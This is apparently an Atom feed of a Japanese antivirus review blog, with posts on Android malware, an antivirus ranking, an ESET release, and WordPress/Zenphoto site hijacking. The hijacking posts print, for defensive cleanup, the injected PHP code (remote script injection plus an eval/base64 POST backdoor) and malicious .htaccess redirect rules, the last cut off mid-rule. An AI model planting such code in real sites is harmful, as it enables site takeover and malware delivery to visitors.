ウイルス対策ソフト比較／無料版あり評価ランキング30tx tag:30tx.com,2008-12-11://1 2012-01-31T10:43:03Z ウイルス対策ソフトを比較して無料体験版のダウンロードやCD-ROM通販。パソコンを悪意のスパイウェアやウィルスへの対策。 評価掲示板へ書きこみフリーでセキュリティソフトで有名人気ランキングなどを元に評価し比較していただけます。 Movable Type Pro 4.23-ja スマホウイルス広がるAndroid.Counterclank ウイルス感染５００万台以上　公式Androidマーケットからでも tag:30tx.com,2012://1.118 2012-01-31T09:57:03Z 2012-01-31T10:43:03Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 スマートフォンの普及に伴い、ウイルス感染の波も広がりつつある。

シマンテックでは複数のデベロッパーから配信されるAndroidアプリケーションにAndroid.Counterclankと名付けられるウイルスが仕込まれていると報告している。

このウイルスを含むアプリはGoogleが運営するAndroidマーケットで正式に販売されているものだったという。（現在これらのアプリは公開停止されている）

このウイルスを含むアプリの開発元として

 

  • iApps7 Inc
  • Ogre Games
  • redmicapps

 

が報告されている。

開発元とアプリタイトルおよびアプリ販売カテゴリーは以下のようになっている。

Publisher Malicious App Title Category
iApps7 Inc Counter Elite Force Arcade & Action
iApps7 Inc Counter Strike Ground Force Arcade & Action
iApps7 Inc CounterStrike Hit Enemy Arcade & Action
iApps7 Inc Heart Live Wallpaper Entertainment
iApps7 Inc Hit Counter Terrorist Arcade & Action
iApps7 Inc Stripper Touch girl Entertainment
Ogre Games Balloon Game Sports Games
Ogre Games Deal & Be Millionaire Sports Games
Ogre Games Wild Man Arcade & Action
redmicapps Pretty women lingerie puzzle Photography
redmicapps Sexy Girls Photo Game Lifestyle
redmicapps Sexy Girls Puzzle Brain & Puzzle
redmicapps Sexy Women Puzzle Brain & Puzzle

参照　シマンテック　
http://www.symantec.com/connect/blogs/androidcounterclank-found-official-android-market 

 

Androidマーケットの自由には時に危険も含まれる

今回の事例は英語圏でのウイルス配布を企てたひとつの事象にすぎない。

本当に問題なのはAppleが運営するappストアとは違いGoogleのAndroidマーケットは「誰でも自由に無審査」でアプリを公開出来るということにあるのではないでしょうか。

アプリが誰でも自由に発行できてそれをまた第三者が自由にインストール出来る環境。

web閲覧よりも危険なインストールという作業を発生させるアプリのダウンロードはユーザー自身が注意深くあれというマーケット運営元の考えなのでしょう。

Appleのappストアはデベロッパーにとっては面倒な審査がある。

しかし、アプリユーザーにしてみればiPhoneに限って言えばウイルス感染など危険なアプリのインストールを誤って行なってしまう危険性は極めて少ないというメリットがある。

デベロッパーにとって、より自由な公開環境であるAndroidマーケットは悪しき考えを持つ者にも同様の公開環境を与えてしまっているのが現状だ。

今回アプリに含まれていたAndroid.Counterclankにおいてはスマートフォン端末のMacアドレスや個体識別情報を抜き出すタイプのもののようですが、いずれはパソコンウイルスのようにキーロガー的なウイルスが出まわることも想像できます。

現時点で出来る対策

やはりスマホにもウイルス対策が必要なのでしょう。現在はiPhoneは普通に使っていれば安心できそうなアプリしかありませんが、脱獄（JB)iPhoneの場合はこの限りではないでしょう。

一方のAndroidスマートフォンについては簡単に購入、ダウンロードそしてインストールできるマーケットがアプリ発行元にも同時に自由に販売できる環境であるということを考え、レビューや発行元の信頼度を出来るだけ注意深く確認してからインストールすることが望ましいでしょう。

もし感染してしまっていたら

Android.Counterclankのように外部へ勝手に通信を行うタイプのウイルスであれば（実際に端末の中でその動作を実行できるかどうかは不明ですが）市販されているスマートフォン用のウイルス対策ソフトで検知駆除出来ることでしょう。

まだ、そういったスマホウイルスにおいては感染はしても実害を受けたという情報が少ないので大袈裟に不安がる必要は無いと思います。

ただし、危険が身近にあるという認識は私達一般ユーザーにとっても大事なセキュリティ対策であることを覚えておきたい。

 

参考　スマホウイルス対策ソフト　拡大するスマートフォンウイルスとAndroid被害

iPhoneやスマートフォンに関するウイルス感染と対策方法について

※キーロガーとは端末に文字入力した履歴を奪い取るタイプのウイルスで銀行やカードの暗証番号などを抜き経ったり出来る恐ろしいウイルスのひとつ。

]]> ウイルスソフト人気ランキング2012　WEBサイト改竄に対策を！総括TOP5 tag:30tx.com,2012://1.117 2012-01-29T08:41:37Z 2012-01-29T09:44:15Z ２０１１年度のインターネットおよびパソコン環境における脅威はローカルのパソコンに侵入するガンブラーウイルスやwebサーバーに置かれたCMSなどの脆弱性を狙ったｗｅｂサイト改ざんなど全体的に見回すと「WEBサイト改竄」が例年よりも強く目立った印象でした。 webサイトの改ざんが目立つということはウイルス感染の経路がよりwebの閲覧時にシフトしていることとなります。 インターネットユーザーに警告 WindowsパソコンのほかMacユーザーでさえ危険なwebサイト訪問時にウイルス感... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 ２０１１年度のインターネットおよびパソコン環境における脅威はローカルのパソコンに侵入するガンブラーウイルスやwebサーバーに置かれたCMSなどの脆弱性を狙ったｗｅｂサイト改ざんなど全体的に見回すと「WEBサイト改竄」が例年よりも強く目立った印象でした。

webサイトの改ざんが目立つということはウイルス感染の経路がよりwebの閲覧時にシフトしていることとなります。

インターネットユーザーに警告

WindowsパソコンのほかMacユーザーでさえ危険なwebサイト訪問時にウイルス感染しています。昨今のサイト改竄は普及数が増加したMacOSを対象とするものも急増中であり、OSやデバイスを問わず「普及しているインターネット機器」はすべてウイルス感染の恐れがあると考えるべきでしょう。

とにかくwebサイト改竄が２０１１年後半には一般のブログやホームページまでもが大被害に遭うような事件もありました。ホームページやブログを持たない人でもサイト閲覧時のブラウザが持つセキュリティ機能に保険をかけるためにウイルス対策ソフトのセキュリティ機能は必須と言えます。

２０１１年特徴的な出来事

 

iPhoneスマートフォンユーザーに警告

iPhoneやスマートフォン（android）端末でもいくつかのウイルスが発見されています。勝手に電話をかけてしまうようなタイプのものからPCウイルス同様、何らかの手段で個人情報などの漏洩搾取を目的とした物が主流のようです。スマホ端末はメーカーやキャリアが推奨する保険やウイルス対策ソフトを導入しておくべきでしょう。またiPhoneは脱獄など正規の使い方ではない使用者に被害が見受けられるようなのでappストア以外で入手したアプリなどは十分な注意の上使用するべきでしょう。

スマホウイルス感染事例など２０１１年の特徴

 

２０１１年を振り返ると

Macにスマホとウイルスと、感染経路がWindowsパソコンだけにとどまらずさまざまなインターネット接続機器でウイルス感染問題が発生し、そのレベルも急速に悪化しているのが現状です。

２０１２年はWindowsパソコンにおけるウイルス対策は当然として、その他の端末を使う場合も様々なセキュリティ対策が必要といえるのではないでしょうか。

筆者もiPhone、スマートフォン（android）のほかタブレットPC（androidとiPad）などさまざまな次世代機器を使用していますが、iOS以外の全ての端末（Windows、MacOS、andoroid2.3、android3.0など）にはウイルス対策ソフトを念のため導入しています。

ただ、ひとつ感じるのは、やはりWindowsパソコンへの攻撃の数はそれら端末の比では無く、膨大な危険がweb上に転がっていると感じています。

もし、あなたがWindowsユーザーで、ウイルス対策ソフトをインストールしていない、あるいは、期限切れなど起こしているようなら取り急ぎ無料体験版のウイルス対策ソフトをインストールしておくべきでしょう。

ネットの凶悪ウイルスのターゲットは「犯しやすい環境」なのです。

どのような被害も当然ですが弱者優先で狙われています。

２０１２年を安全なネットライフが送れますようお祈り申し上げます。

 

※1 ウイルス対策ソフトの無料体験版ダウンロード本数と売り上げ本数によるランキング。

※2 ランキング基礎２０１１年度１年間のダウンロード数と利用者数によるものです。

 

 

人気1位　ESET Smart Security
V5.0軽さと総合力ウイルス対策＆アンチスパム



軽さ ☆☆☆
検知 ☆☆☆
操作 ☆☆☆
名称
メーカー		 ESETイーセットスマートセキュリティV5.0
キャノンITソリューション
価格 1ライセンス　1年　4200円
ウイルス
対策機能		 トロイの木馬、ボット対策、ファイアウォール、定義ファイル自動アップデート他
特徴 NOD３２をウイルス検索エンジンとして迷惑メール対策やネットワーク管理機能などを装備した総合セキュリティソフト。アドバンスドヒューリスティックエンジン搭載。WEB閲覧制限機能がないためインターネットは軽快そのもの。とにかくすべての動作が軽い。

人気2位　NOD３２アンチウイルス
V5.0 ESET　ヒューリスティックエンジン搭載



軽さ ☆☆☆
検知 ☆☆☆
操作 ☆☆
名称
メーカー		 NOD３２アンチウイルス v5.0
キャノンITソリューション
価格 1ライセンス　1年　3360円
ウイルス
対策機能		 トロイの木馬、ボット対策、定義ファイル自動アップデート他
特徴 ウイルス検知率が非常に高い。アドバンスドヒューリスティックエンジンを搭載しているため既知のウイルスだけでなく未知のウイルス検知力も非常に高い。それゆえ企業や官公庁に多く導入される。何よりもPCの動作が軽快であることにおいてはナンバー１である。

人気3位　ウイルスバスター2012クラウド
人気不動のウイルス対策ソフトがクラウド版に！



軽さ ☆☆
検知 ☆☆
操作 ☆☆☆
名称
メーカー		 ウイルスバスター
トレンドマイクロ
価格 3台ライセンス　1年　4980円
ウイルス
対策機能		 トロイの木馬、ボット対策、ファイアウォール、無線LANパトロール他
特徴 総合セキュリティソフトの代名詞。人気の理由は、取り扱いにおける簡易性が高いこと。動作も年々改良され軽快になっているが、さまざまな便利安心機能を上乗せしていることもあり若干、起動時などに重く感じることもある。メインPC向けセキュリティソフトです。

人気4位　ノートン　インターネットセキュリティ
好評シェア最大級のウイルス対策ソフト



軽さ ☆
検知 ☆☆☆
操作 ☆☆☆
名称
メーカー		 シマンテック　ノートンインターネットセキュリティ
価格 3台ライセンス　1年　5,460円
ウイルス
対策機能		 トロイの木馬、ボット対策、PCチューンWEB閲覧制限機能他
特徴 ウイルス検知率が非常に高く、外部侵入の段階でウイルスや不正をシャットアウトするためメインPC向きの高性能セキュリティソフトといえる。2009年より軽快な動作になったように感じる。

人気5位　マカフィーセキュリティソフト
高性能アンチウイルスソフトの代名詞。



軽さ ☆
検知 ☆☆☆
操作 ☆
名称
メーカー		 マカフィ
インターネットセキュリティ
価格 3台ライセンス　1年　5775円
ウイルス
対策機能		 トロイの木馬、ボット対策、定義ファイル自動アップデート他
特徴 ウイルス検知率が非常に高い。動作は重いがウイルス定義ファイルの更新は非常に早く、未知の危険への対応力も業界トップレベル。実績のあるセキュリティソフト。

ランキング１位のEset Cmart Securityが当サイト経由では４年連続１位を達成。

その軽快な動作は日本国内のウイルス対策ソフトの基本性能「軽い動作」を浸透させたものであり、ヒューリスティック機能による「怪しいファイルを検知」する高性能な人工知能的動作も人気と実績の根拠となるものでしょう。

 

とにかく増え続けるwebからのウイルス感染。

そこから自分を守るためには自分が愛用する端末を保護することが最も大事だということですね。

 

捕捉

Mac対応　ウイルス対策ソフト

]]> ESET Smart Security v5.0発売開始　新機能を一挙解説 tag:30tx.com,2011://1.116 2011-12-15T06:14:52Z 2011-12-15T06:57:21Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1  

2011-12-15_15-21-03.jpg

ESET Smart Securityのバージョン5.0が１２月１５日に発売開始した。

 

主な特徴を解説します

＜ESET Smart Security V5.0の特長＞

  • 1. ペアレンタルコントロール（ESET Smart Security V5.0）
    ユーザーアカウントごとにWebアクセスルールを設定し、望まないWeb サイトなどへのアクセスをブロックします。ホワイトリストやブラックリストを登録し、個人の要望に合わせて制御内容を調節することもできます。
  • 2. ゲームモード
    ポップアップ通知などを一時的に停止することができます。停止中でもセキュリティ機能はバックグラウンドで動作し続けます。ゲームモードは、一定時間のみ有効にしたり、フルスクリーン時に自動的に有効にすることもできます。
  • 3. HIPS (Host-Based Intrusion Prevention System, ホスト型侵入防止システム）
  • 任意のシステムレジストリ/プロセス/アプリケーション/ファイルに対して、変更の可否などのルールを定義できます。
    ※V4.2で搭載していた自己防衛機能はHIPSの一部になりました。
  • 4. ESET Live Grid
    1億人を超えるユーザーのデータベースからリアルタイムに作られたホワイトリストを利用して、実行中のファイルや任意のファイルの安全性を評価できます。

ESET Smart Security V5.0これまでのアップグレードまとめと性能比較

１９９３年から搭載するヒューリスティックエンジン（人工知能型ウイルス検知システム）これを実装したNOD32がウイルス検知において世界トップレベルとなり海外で有名になる。

２００８年ESET Smart SecurityはNOD32の上位グレードでさらなるセキュリティを高めた製品として世界各国でリリースされた。

 

 

2011-12-15_15-17-15.jpg

 

今回２０１１年　ESET Smart Securityリリース後３年目にしてv5.0となり、より家庭用のウイルス対策ソフトとしての機能面を充実させた。

ESET Smart Security V5.0軽いウイルス対策ソフトの決定版

軽いセキュリティソフトといえばESET Smart Securityというのが２００８年から世界で初めてキャッチコピーとして歌われ始めた。その元祖こそがESET Smart Security。v5.0になってもその勢いは止まらない。

 

2011-12-15_15-17-40.jpg

 

英語版でウイルス検知テスト１位になっていますが、日本語版についても同様に高性能なウイルス感知。

筆者も３年間愛用する軽くて高性能なウイルス対策ソフトです。

ESET Smart Security V5.0　４つの進化

 

2011-12-15_15-18-01.jpg

 

ペアレンタルコントロール、ゲームモード、HIPS（ホスト侵入防止システム）クラウドレピュテーション技術の進化という４つの項目においてESET Smart Security V5.0は新機能を追加しています。

ペアレンタルコントロールとは

 

2011-12-15_15-18-44.jpg

 

Windowsパソコンのユーザーアカウントごとに設定出来るアダルトサイトや有害サイトなどへのアクセス制限をもうける機能のことです。お子様やご家族、夫婦間などでパソコンを共有したり事務所内での共有パソコンなどへ設定すると便利でしょう。ただし、このような機能は一人専用機ではオフにしていたほうがブラウジングは快適です。もちろん危険サイトへのアクセスは従来通りどちらの設定でも完全防御してくれるESET Smart Security V5.0です。

ゲームモードの追加

 

2011-12-15_15-19-06.jpg

 

ゲームプレイ中のポップアップ通知などをオフに出来、同時にバックグラウンドでは完全なセキュリティ確保を行う。一時的なオンオフなど環境対応へ配慮。

ESET Live Grid

 

2011-12-15_15-19-28.jpg

 

ESET Live Gridは疑わしいファイル（従来のウイルスのような危険性を含むと思われるもの）をESET社の研究室へ自動で送信し、クラウドベースでの安全性の確認を行い実行中のファイルなどの評価をリアルタイムで行うものということのようです。とにかくセキュリティもクラウド管理を自動化しより新しいウイルスの検知が進んでいくという感じです。

ESET Smart Security V5.0更新方法

こちらの専用ページより進み上書きインストールで更新完了します。

これが一番簡単です。

ESET Smart Security更新インストールと無料30日間お試しはこちらから
イーセットスマートセキュリティ無料体験版

イーセットスマートセキュリティ　ライセンス購入へ

イーセットスマートセキュリティ更新とアカウント購入

 

 

なお、従来のv4.2で期限切れするまで不安を感じる方もいるかもしれませんが

もともとESETをお使いの場合は特に急いでバージョンアップする必要は無いでしょう。

他社製品からの乗り換えや無料ウイルス対策ソフトからの乗り換えならその圧倒的な動作の軽さと万全のセキュリティ体制に安心感が増大する事でしょう。

ESET Smart Security v5.0更新 販売ページ

Macの利用者へ

Mac版はESET Cybersecurity for Mac こちらの解説がわかりやすいかと思います。

 

 

]]> Wordpressサイト改ざん.htaccessリダイレクトアタック被害の応急処置方法〜ヘテムル利用者で被害拡大 tag:30tx.com,2011://1.115 2011-11-24T05:16:01Z 2011-12-04T16:55:56Z 先日の記事CMSを使ったWEBサイトを狙う.htaccessリダイレクトアタックというwebサイト改ざん被害が後を絶たず、レンタルサーバーへテムル利用者の多くの方からお問い合わせをいただいたため、ここに一応の応急処置を書き記します。 あくまでもこれはウイルス配布サイトへのリダイレクトを一時的に阻止するだけの応急処置です。 ※正確な原因は不明です。以下の処方は、あくまでも鎮痛剤のような一時的な対処にすぎません。 ※２０１１年１１月２５日各所記事訂正　当初phpmyadminが原... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 先日の記事CMSを使ったWEBサイトを狙う.htaccessリダイレクトアタックというwebサイト改ざん被害が後を絶たず、レンタルサーバーへテムル利用者の多くの方からお問い合わせをいただいたため、ここに一応の応急処置を書き記します。

あくまでもこれはウイルス配布サイトへのリダイレクトを一時的に阻止するだけの応急処置です。

※正確な原因は不明です。以下の処方は、あくまでも鎮痛剤のような一時的な対処にすぎません。

※２０１１年１１月２５日各所記事訂正　当初phpmyadminが原因と判断していましたが、wordpressのプラグインの脆弱性を狙った不正な攻撃と判断し各所訂正を行いました。hetemlのデータベースサーバーは公開サーバーとは別になっているためphpmyadmin経由でのリスクは可能性としては限りなく少ないものです。

つまり利用するサーバーの問題ではなくCMSに追加したプラグインにはリスクが有るため世の中の全ての公開サーバーでも同様のリスクが有るという内容になります。

本来の対策はサイトをまるごと別サーバーへ移転するなどの対策が必要ですが、多数のサイトを扱う方などには骨の折れるサーバー移転作業の前に応急処置でリダイレクトを防ぎましょう。

.htaccessリダイレクトアタック被害の状態（Wordpress）

今回お声を聞かせていただいた多くのサイト（数百件）がすべてWordpressやZenphotoなどを同一サーバーの管理領域にもたれている方からでした。

被害の様子をヘテムルのFTPソフトを介した画面で説明します。

 

2011-11-24_14-12-10.jpg

 

Filezillaの画面からです。

この赤い枠で囲んだtmpxxxxxxx.phpというファイル

w数字xxxxxxx.php

index.php.htm


など数種類の見知らぬファイルも後日生成される。（追記）

このような見知らぬファイルが生成されています。

これがphpmyadminを操作して生み出されるファイルです。

被害の実態はヘテムルの提供するphpmyadmin2.11.1.xという低いバージョンの脆弱性を狙った物で詳細は割愛しますが、このように各公開用サーバーの各ドメインのフォルダ内にphpファイルが存在すれば（wordpressに限らず）こういったphpファイルがサーバー内の至る所に（上の階層から下の階層まで）無数に生成されます。

※注意 被害原因はphpmyadminが原因では有りませんでした。Wordpressのプラグインに存在する脆弱性を狙った物で、Ajaxファイルマネージャーを不正に狙ったものではないかと推測されています。

これ、

消しても消しても勝手に毎日生み出されます。

そして。これらのファイルなどにより.htaccessが書き換えされます。

 

2011-11-24_14-12-56.jpg

 

このようにパーミッションが444となっています。

普段は644や604になっているかと思いますが、この4xx状態では上書きできません。

リダイレクトを防ぐためにこの.htaccessを削除してもまた自動的に生成されるため対策にはなりません。

なのであえて上書きし直して保存しておくことがこの.htaccessリダイレクトアタックに対する最大の対策となります。

サーバー上で一旦644など上書きできる状態にしてから書き換えましょう。

そして再度アップロードした際に400や404などに属性変更しておく。

.htaccessはダウンロードしてみてみればわかりますがぱっと見は元の状態と似ていますが、数百行の改行の下にリダイレクトのコードが書き記されていますのでこちらの記事を参照ください。

.htaccessリダイレクトアタックの被害実例

 

あくまでもこれは応急処置です

なぜならば

この攻撃はサーバー内部全てのphpファイルを書き換えするものであるから

以下のようにワードプレスを使ったサイトの場合

数千個、複数のサイトの場合は数万個のphpファイルが存在することでしょう。

このphpmyadminの被害に遭うとそのデータベースに接続するサイトが存在するサーバー内部

全てのフォルダ（管理権限が届くところまで）が書き換え改ざんの被害に遭います。

※記事訂正　phpmyadminが原因と特定するものではありません。

2011-11-24_14-14-05.jpg

 

全てのphpファイルは

出だしの部分の

<?php

といった書き出しがあると思います。

その書き出し直後が以下のように汚染されます。

 

2011-11-24_14-15-00.jpg

 

今回、筆者が対策を施したサーバーにはこういったファイルが数十万個存在しました。

書き換えられた内容は

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

このようになっています。

Windowsユーザーの場合は一括書き換えソフトgrep replaceやdevasなどで全てのデータをダウンロードして一括置き換えなどの処理を施す。

この上書きで消毒したファイルは全てを使うには危険さが残りそうですが、サーバー移転後に使える場合が多いのでやっておくことをおすすめします。

 

なぜ今回hetemlレンタルサーバーでこのような大きな被害が拡大したのでしょうか？

Google検索による　heteml　phpmyadmin管理ページが上位表示されていることも原因のひとつかもしれません。

※hetemlのphpmyadminが原因ではないと判断いたしましたので記事訂正。

へテムルで簡単インストールできるCMS一覧

ワードプレス

Movabletype

Zenphoto

などなど、構成に使われる全てのphpファイルが改ざんされますので一度チェックしてみるべきでしょう。

とりあえず、この.htaccessリダイレクトアタックの被害に遭われた場合

サーバー移転が最終手段ですが、多くのサイトを管理するwebマスターの方には骨の折れる作業になります。

なので、気づいた際は取り急ぎリダイレクト（悪意のウイルス配布サイトへのリダイレクト）を防御する処置をほどこしておきましょう。

サーバー移転作業はそれからでも大丈夫です。

ただし、phpファイルが全て汚染されているためワードプレスのサイトの場合などサイトアクセス時に一瞬CSSの読み込みに時間がかかり文字化けするような現象が発生します。

つまり、他人事のように見ているあなたのサイトもアクセスした瞬間、一瞬の文字化けが存在するのなら、サーバーにアップされている全てのファイルをチェックするべきでしょう。

なお、作業寺に各種サーバーやwebサイトへアクセスする場合はパソコン本体もしっかりとしたウイルス対策ソフトを導入しておきましょう。

飛ばされて感染しないように。

なお、レンタルサーバーheteml利用者の方にはこういった事例も含め不正改ざんに対する対策法を記載したページがありますので参考にしてください。

http://heteml.jp/pages/security/

結局のところ原因は不明です。

.htaccessのパーミッションを変えたところで、また上書きが発生する場合もあり、そうでない場合もあります。

 

 

今回の調査のために用意したウイルス対策環境

Windowsウイルス対策ソフト　Eset Smart security

Mac用ウイルス対策ソフト　Eset cybersecurity for Mac

]]> 無料CMSの危険性とガンブラー感染事例　htaccessを不正操作しウイルス配布サイトへ誘導Zenphotoとphpmyadminの脆弱性に注意 tag:30tx.com,2011://1.114 2011-11-12T06:14:17Z 2011-11-25T03:48:39Z ２０１１年１１月１０日に起きた事例 共用レンタルサーバー　ヘテムル（ｈｅｔｅｍｌ）からの通知によると写真管理用無料CMS　Zenphotoの低いバージョンで脆弱性があり、不正アクセスの可能性があるとの警告があった。（ヘテムル利用者全体への通知があった）こちらのCMSは簡単インストールといってサーバー利用者が管理画面内で簡単にサーバー内へCMSをインストールできるサービスで用意されていたシステム。この攻撃に遭遇するとZenphotoがインストールされているサーバー内の最上階層な... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 ２０１１年１１月１０日に起きた事例

共用レンタルサーバー　ヘテムル（ｈｅｔｅｍｌ）からの通知によると写真管理用無料CMS　Zenphotoの低いバージョンで脆弱性があり、不正アクセスの可能性があるとの警告があった。（ヘテムル利用者全体への通知があった）
こちらのCMSは簡単インストールといってサーバー利用者が管理画面内で簡単にサーバー内へCMSをインストールできるサービスで用意されていたシステム。
この攻撃に遭遇するとZenphotoがインストールされているサーバー内の最上階層などに.htaccessが生成されたり書き換えられたりする。

※注意　２０１１年１１月２５日加筆修正　phpmyadminの脆弱性についてはこの被害では関係ないものと判断したため訂正しております。

これはこのCMSに限らず、ある意味全てのCMSユーザーへの注意喚起でもあります。

Wordpressサイト改ざん.htaccessリダイレクトアタック被害の応急処置方法〜ヘテムル利用者で被害拡大

■■実際の事例

これは２０１１年１１月１０日未明よりヘテムルサーバー内部にある複数の管理サイト（ドメイン）がXXXX.ruやXXXX.inなどのURLへリダイレクトされる現象が発生した。

FTP経由でサーバーを監視しているとヘテムルではユーザーが管理できる最上位の階層にwebというフォルダとappsというフォルダがデフォルトで用意されている。

他にデフォルトではファイルなどが存在しないはずだが、この日は何故か.htaccessが存在した。
さらにその下の階層webフォルダ内にも管理者が関与しない,htaccessが生成されている。このフォルダには複数のドメインを割り当てたフォルダやサイトデータが存在し、その全てのドメインがウイルス配布サイトと思わしきURLへリダイレクトされる状態になる。

 

2011-11-11_23-54-59.jpg

 



被害後の状況を一覧に書き残します


Googleの検索では検索結果のページタイトル下に危険なサイトの報告があります。といった警告が表示されるようになる。
ブラウザ（Firefox　safari　IE　Chorome）で閲覧する際もあなたのコンピューターに被害を与える可能性がありますといった警告画面が出る。その際警告画面に表示されるURLは管理しているサイトのURLではなくリダイレクト先のURLが表示される（XXX.ruやXXX.inで時間帯によって様々なURLに変わっていく）

FTPソフトでサーバー内を目視で監視していると.htaccessを削除しても数分後、また見知らぬ.htaccessが生成される。

.htaccessの中身は不可視であったり、管理サイト（下層フォルダにある）にあるhtaccessの内容に近い物が最上階層に存在したりなど不確定な内容。

といった感じの被害を受ける。
被害を受けた内容はガンブラー.x的な内容と酷似している。
要は悪意の第三者がwebサイトをのっとり不正に偽ウイルス対策ソフトなどをインストールさせるサイトへ無理矢理ジャンプさせるといった症状が出る感じです。（ほとんどが.ruや.inといったURLへのリダイレクト）

感染後の対処方法

webサイトにこのような不正操作を発見したらいくつかの対処を施します。
今回の事例Zenphotoで解説します。
Zenphotoのバージョンを最新の1.51などへアップデートするようヘテムルから通知が有ります。
まずはこれに従いましょう。

それでも不安な場合はZenphotoのインストールフォルダをまるごとサーバー内から削除する。

Zenphotoがアクセスするデータベース（Mysql）を削除する。（PHPmyadminの脆弱性を狙ったガンブラーの場合PHPmyadminを不正に操作して.htaccessを生成したり操作するという事例が古くから存在するため）
一応、パソコンをウイルス対策ソフトで検査する（ウイルス感染の可能性も考えられるため）
FTPパスワードを変える（ガンブラーウイルス感染の場合だとFTPパスワードを盗まれていることも考えられるため）

※phpmyadminについては今回の事例とは関係ない物と判断したため修正いたします。

とりあえず、被害に遭った場合はこのような対策法を覚えておくといいでしょう。

その他ガンブラーウイルス対策として

FTPソフトでのアクセスはFTPSで暗号化したアクセスにする
.ftpaccessをサーバーの最上階層などに設置し、FTPアクセスのIP制限をしておく
自分のパソコンは最新のOSにしておく
CMSを使う場合も最新のアップデートに対応しておく
ブラウザのバージョンも古い物から最新のバージョンへ
普段からFTPSでFTPアクセスをする
FTPパスワードはセキュリティを高めたあとに変更する

こういった対策が今のところ考えられます。
他にも細かい点をいえば自己管理におけるさまざまなソフトやアプリケーションのアップデートなども注意したいところです。

サイト改ざん後の復旧までの様子

これらの処置と対策をほどこし、サーバー内に.htaccessが生成されなくなりました。
WEBサイトはGoogleで危険サイトとして認識されているため、Googlewebマスターツールで該当するサイトのダッシュボードから再審査の申請をします。数時間後には元に戻ります。（放置すると検索結果のインデックスから全てのページが削除され検索経由のアクセスが全くなくなります）

リダイレクト方法が明確に確認できませんでしたが、３０１リダイレクトを使用している可能性もある。いくつかのサイトは短時間で危険サイトではなくなったが、いくつかのサイトはサイト内のCMS（ワードプレスやMTムーバブルタイプ）で管理画面に入ったあと、管理画面内でさきほどの悪意のURLへリダイレクトされそうになるなどDNSの反映に時間がかかっている雰囲気も確認できた。もし危険サイトと表示されなくなってもサイト内の遷移の中で不自然な動きがあるようなら１日以上様子を見てみる必要が有るかもしれない。

以上、最新のガンブラー系のウイルス感染に似たサーバー設置型のCMSの脆弱性を狙ったWEBサイト改ざんの実例と対処法。
無料のCMSであろうと有料のCMSであろうと普及が多いもの（ワードプレス）などでは以前よりスクリプトの改ざんなどが存在します。CMSの管理にはご注意ください。
また、今回もさまざまな危険なURLを発見しアクセスしましたが基本的に管理パソコン側でのウイルス感染はしておりません。

警備アクセス環境

MacOS Ⅹ
セキュリティ
ESET Cybersecurity for mac
ブラウザ
Firefoxほか

----------------------------------------

■追記

最終的にサーバー内部すべてを精査したところ一部の.htaccessを回収した。

内容はこったもので、もともと存在する.htaccessファイル内で書き換え改ざんされている。

数百行の改行や膨大なスペースを乱用して一見するともとの.htaccessと変わらないように見せかけて以下のような記載がありました。

※注意　下記コード内に発見した一部のURL（危険だったURL:masaskisoft.in）以下をそのまま掲載しますが、念のためアクセスはしないことを注意します。

（現時点ではこのURLはアクセス警告も消え存在しないURLとなっています　２０１１年１１月１３日）

ErrorDocument 400 http://xxxx.in/ahalai/index.php ErrorDocument 401 http://xxxx.in/ahalai/index.php ErrorDocument 403 http://xxxx.in/ahalai/index.php ErrorDocument 404 http://xxxx.in/ahalai/index.php ErrorDocument 500 http://xxxx.in/ahalai/index.php <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond 